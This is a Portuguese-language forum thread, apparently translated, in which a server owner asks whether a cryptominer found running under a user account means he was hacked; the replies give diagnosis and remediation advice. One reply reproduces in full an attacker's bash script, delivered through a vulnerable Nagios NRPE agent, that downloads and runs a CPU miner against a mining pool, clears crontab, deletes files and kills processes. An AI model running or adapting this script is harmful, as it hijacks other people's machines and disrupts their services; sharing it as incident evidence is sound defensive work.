Eu fui hackeado?

Eu fui hackeado?

Eu executo um servidor dedicado, onde notei recentemente um alto uso de CPU, e verifiquei os processos. Parece que alguém (conta Mick) estava minerando no meu servidor. Como isso é possível? O processo está abaixo. Suspendi a conta. O que mais eu precisaria fazer?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B

Responder1

Se você estiver executando um servidor web que permite scripts no lado do servidor (php, Ruby, etc), isso é muito fácil de fazer.

Tudo o que o usuário precisa fazer é gerar um script que baixe um arquivo /tmp/sh64e o execute. Geralmente, os scripts da Web precisam ser capazes de executar programas externos e, portanto, esse tipo de atividade é difícil de evitar.

Se a mickconta for a mesma usada para executar os scripts da web do usuário, eu diria que não, você não foi hackeado. Apenas um usuário abusando de sua conta.

Se você quiser evitar esse comportamento, existem algumas maneiras de evitá-lo. Você pode proibir a chamada de programas externos. Ou você pode fazer algo como matar programas de longa execução (qualquer coisa que fique em execução por mais de 60 segundos, por exemplo).
Sem saber mais detalhes sobre sua configuração, é difícil determinar o melhor curso de ação.

Responder2

Eu tive um problema parecido. Eles exploraram uma versão desatualizada do agente NRPE do Nagios para executar um wgetscript que instalou e configurou o minerador de bitcoin do Sourceforge (o daemon NRPE havia sido dont_blame_nrpehabilitado). Não encontrei nada que indique que a tentativa na minha máquina foi persistente.

Este é o script que foi utilizado para a instalação e configuração do minerador Bitcoin:

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then    
    system=`uname -a`
    i686=`echo $system|grep i686`
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
    spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
        dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
        spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
        spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi  

myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

Este script foi executado inteiramente como usuário do Nagios, portanto não precisou de nenhum acesso root.

Responder3

Seu sistema definitivamente foi comprometido ou, na pior das hipóteses, hackeado. Existem outras histórias que descrevem um minerador semelhante sendo instalado.

Eu assumiria a posição de que seu sistema foi comprometido e tiraria qualquer coisa crítica dele para começar, para que você faça backup dele, caso ainda não esteja sendo feito.

Análise

Se você está curioso para saber como eles entraram, você precisará obter uma lista completa de quais serviços (web, mysql, etc.) você instalou e ver se há alguma exploração ativa que permitiria a alguém obter privilégios elevados.

Eu começaria com quaisquer habilitações da web, que são aplicativos baseados na web. Normalmente, esses aplicativos podem sofrer buffer overflow e ter acesso à modificação da pilha do servidor da Web para que aplicativos adicionais possam ser instalados.

Acontece que esses tipos de comprometimentos podem ser incidentes isolados, portanto, simplesmente remover o software agressor e o malware pode ser suficiente para erradicá-lo sem ter que suportar o tempo gasto para fazer uma recuperação/configuração completa do sistema.

Se esse sistema fosse construído usando uma imagem baseada em VPS, eu trabalharia com o provedor, pois a correção parece ser do interesse de todos os clientes.

Além de apenas comprometer a pilha da web

Tudo na caixa precisa ser examinado e é essencialmente indigno de confiança, mas eu levaria um pouco de tempo para ver se você não consegue descobrir de onde os invasores estão fazendo login, se é que conseguem. Eles possivelmente estão fazendo login usando contas SSH que foram adicionadas ao sistema após comprometê-lo.

Esta pode ser uma tarefa árdua, levando muitos dias para fazer a análise, especialmente se você não puder confiar em nenhuma das ferramentas disponíveis para ajudá-lo nessa empreitada. Eu encorajaria qualquer pessoa a aproveitar este tempo para entender como seu sistema foi comprometido, para que você possa reduzir o risco de isso acontecer novamente no futuro, pelo menos através deste vetor específico.

Se este não for um problema de produção, esta é na verdade uma boa oportunidade de aprendizado para obter informações valiosas sobre como os sistemas podem ser comprometidos e o acesso pode ser "alavancado" por possíveis invasores.

Forro de prata?

Como o sistema está sendo usado para fins de mineração, é provável que eles tenham usado um conjunto de ferramentas de script automatizado, já que atacar sistemas suficientes para configurar mineradores zumbis parece levar muito tempo. Quando ferramentas como essas são usadas, elas geralmente são de má qualidade em sua construção, simplesmente procurando fazer o mínimo necessário para ganhar uma posição segura e então entregar sua carga útil (o software de mineração), então você pode ter sorte e obter alguns insights adicionais sobre como eles conseguiram entrar.

informação relacionada